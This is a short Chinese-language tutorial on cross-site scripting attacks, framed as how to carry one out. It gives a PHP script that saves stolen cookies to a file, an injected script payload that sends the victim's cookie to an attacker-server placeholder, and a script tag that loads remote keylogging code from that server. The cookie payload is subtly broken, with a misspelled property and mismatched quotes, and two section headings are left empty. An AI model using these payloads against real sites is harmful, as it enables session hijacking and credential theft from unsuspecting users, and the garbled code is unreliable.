XSS攻击

1.攻击原理

2.攻击流程

准备工作

可以写一个PHP文件(getcookie.php)把传来的cookie写入到一个文件中。

<?php
    $cookie=$_GET['cookie'];
    file_put_contents('cookie.txt',$cookie);
?>

写一个恶意链接：

<script>document.location="http://<攻击者服务器IP>"/xss/getcookie.php?cookie="%2bdocument.cooke</script>

 跳转到攻击者服务器地址访问xss目录下的getcookie.php文件并传入参数为当前页面的cookie值。

把恶意链接写入到有xss漏洞的网站中。

当有用户访问恶意链接会被执行，攻击者服务器这边getcookie.php文件自动在当前目录下创建一个名为cookie.txt的文件。打开文件获得受害者cookie。 

3.获取键盘记录

同样准备获取键盘记录的代码，构造链接写入到有漏洞的网站。

可以创建一个html或php网页把获取信息的代码写入其中或用标签美化一个链接让受害者点击执行

<script  src="http://<攻击者服务器IP>/e恶意代码文件"> </script>